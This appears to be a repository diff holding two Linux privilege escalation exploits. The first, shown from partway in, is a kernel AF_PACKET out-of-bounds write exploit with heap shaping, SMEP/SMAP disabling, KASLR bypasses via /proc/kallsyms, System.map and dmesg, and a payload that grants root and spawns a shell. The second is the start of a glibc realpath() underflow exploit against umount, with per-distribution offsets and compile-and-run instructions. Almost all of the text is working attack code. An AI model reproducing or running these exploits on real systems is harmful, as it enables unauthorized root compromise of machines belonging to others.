exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,977 @@
|
||||
/** This software is provided by the copyright owner "as is" and any
|
||||
* expressed or implied warranties, including, but not limited to,
|
||||
* the implied warranties of merchantability and fitness for a particular
|
||||
* purpose are disclaimed. In no event shall the copyright owner be
|
||||
* liable for any direct, indirect, incidential, special, exemplary or
|
||||
* consequential damages, including, but not limited to, procurement
|
||||
* of substitute goods or services, loss of use, data or profits or
|
||||
* business interruption, however caused and on any theory of liability,
|
||||
* whether in contract, strict liability, or tort, including negligence
|
||||
* or otherwise, arising in any way out of the use of this software,
|
||||
* even if advised of the possibility of such damage.
|
||||
*
|
||||
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
||||
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
||||
*
|
||||
* This tool exploits a buffer underflow in glibc realpath()
|
||||
* and was tested against latest release from Debian, Ubuntu
|
||||
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
||||
* techniques. It uses relative binary offsets, that may be different
|
||||
* for various Linux distributions and builds. Please send me
|
||||
* a patch when you developed a new set of parameters to add
|
||||
* to the osSpecificExploitDataList structure and want to contribute
|
||||
* them.
|
||||
*
|
||||
* Compile: gcc -o RationalLove RationalLove.c
|
||||
* Run: ./RationalLove
|
||||
*
|
||||
* You may also use "--Pid" parameter, if you want to test the
|
||||
* program on already existing namespaced or chrooted mounts.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <poll.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define UMOUNT_ENV_VAR_COUNT 256
|
||||
|
||||
/** Dump that number of bytes from stack to perform anti-ASLR.
|
||||
* This number should be high enough to reproducible reach the
|
||||
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
||||
* environment variable references but low enough to avoid hitting
|
||||
* upper stack limit, which would cause a crash.
|
||||
*/
|
||||
#define STACK_LONG_DUMP_BYTES 4096
|
||||
|
||||
char *messageCataloguePreamble="Language: en\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n";
|
||||
|
||||
/** The pid of a namespace process with the working directory
|
||||
* at a writable /tmp only visible by the process. */
|
||||
pid_t namespacedProcessPid=-1;
|
||||
|
||||
int killNamespacedProcessFlag=1;
|
||||
|
||||
/** The pathname to the umount binary to execute. */
|
||||
char *umountPathname;
|
||||
|
||||
/** The pathname to the named pipe, that will synchronize umount
|
||||
* binary with supervisory process before triggering the second
|
||||
* and last exploitation phase.
|
||||
*/
|
||||
char *secondPhaseTriggerPipePathname;
|
||||
|
||||
/** The pathname to the second phase exploitation catalogue file.
|
||||
* This is needed as the catalogue cannot be sent via the trigger
|
||||
* pipe from above.
|
||||
*/
|
||||
char *secondPhaseCataloguePathname;
|
||||
|
||||
/** The OS-release detected via /etc/os-release. */
|
||||
char *osRelease=NULL;
|
||||
|
||||
/** This table contains all relevant information to adapt the
|
||||
* attack to supported Linux distros (fully updated) to support
|
||||
* also older versions, hash of umount/libc/libmount should be
|
||||
* used also for lookups.
|
||||
* The 4th string is an array of 4-byte integers with the offset
|
||||
* values for format string generation. Values specify:
|
||||
* * Stack position (in 8 byte words) for **argv
|
||||
* * Stack position of argv[0]
|
||||
* * Offset from __libc_start_main return position from main()
|
||||
* and system() function, first instruction after last sigprocmask()
|
||||
* before execve call.
|
||||
*/
|
||||
#define ED_STACK_OFFSET_CTX 0
|
||||
#define ED_STACK_OFFSET_ARGV 1
|
||||
#define ED_STACK_OFFSET_ARG0 2
|
||||
#define ED_LIBC_GETDATE_DELTA 3
|
||||
#define ED_LIBC_EXECL_DELTA 4
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Debian Stretch
|
||||
"\"9 (stretch)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"from_archive",
|
||||
// Delta for Debian Stretch "2.24-11+deb9u1"
|
||||
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
||||
"\"18.3 (Sylvia)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
NULL};
|
||||
|
||||
char **osReleaseExploitData=NULL;
|
||||
|
||||
/** Locate the umount binary within the given search path list,
|
||||
* elements separated by colons.
|
||||
* @return a pointer to a malloced memory region containing the
|
||||
* string or NULL if not found.
|
||||
*/
|
||||
char* findUmountBinaryPathname(char *searchPath) {
|
||||
char *testPathName=(char*)malloc(PATH_MAX);
|
||||
assert(testPathName);
|
||||
|
||||
while(*searchPath) {
|
||||
char *endPtr=strchr(searchPath, ':');
|
||||
int length=endPtr-searchPath;
|
||||
if(!endPtr) {
|
||||
length=strlen(searchPath);
|
||||
endPtr=searchPath+length-1;
|
||||
}
|
||||
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
||||
searchPath, "umount");
|
||||
if(result>=PATH_MAX) {
|
||||
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
||||
} else {
|
||||
struct stat statBuf;
|
||||
result=stat(testPathName, &statBuf);
|
||||
// Just assume, that umount is owner-executable. There might be
|
||||
// alternative ACLs, which grant umount execution only to selected
|
||||
// groups, but it would be unusual to have different variants
|
||||
// of umount located searchpath on the same host.
|
||||
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
||||
return(testPathName);
|
||||
}
|
||||
}
|
||||
searchPath=endPtr+1;
|
||||
}
|
||||
|
||||
free(testPathName);
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Get the value for a given field name.
|
||||
* @return NULL if not found, a malloced string otherwise.
|
||||
*/
|
||||
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
||||
int nameLength=strlen(fieldName);
|
||||
while(dataLength>0) {
|
||||
char *nextPos=memchr(releaseData, '\n', dataLength);
|
||||
int lineLength=dataLength;
|
||||
if(nextPos) {
|
||||
lineLength=nextPos-releaseData;
|
||||
nextPos++;
|
||||
} else {
|
||||
nextPos=releaseData+dataLength;
|
||||
}
|
||||
if((!strncmp(releaseData, fieldName, nameLength))&&
|
||||
(releaseData[nameLength]=='=')) {
|
||||
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
||||
}
|
||||
releaseData=nextPos;
|
||||
dataLength-=lineLength;
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Detect the release by reading the VERSION field from /etc/os-release.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int detectOsRelease() {
|
||||
int handle=open("/etc/os-release", O_RDONLY);
|
||||
if(handle<0)
|
||||
return(-1);
|
||||
|
||||
char *buffer=alloca(1024);
|
||||
int infoLength=read(handle, buffer, 1024);
|
||||
close(handle);
|
||||
if(infoLength<0)
|
||||
return(-1);
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
||||
if(!osRelease)
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
||||
if(osRelease) {
|
||||
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
||||
return(0);
|
||||
}
|
||||
|
||||
return(-1);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data in memory.
|
||||
* @return a pointer to newly allocated catalogue data memory
|
||||
*/
|
||||
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
||||
int stringCount, int *catalogueDataLength) {
|
||||
int contentLength=strlen(messageCataloguePreamble)+2;
|
||||
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
||||
contentLength+=strlen(origStringList[stringPos])+
|
||||
strlen(transStringList[stringPos])+2;
|
||||
}
|
||||
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
||||
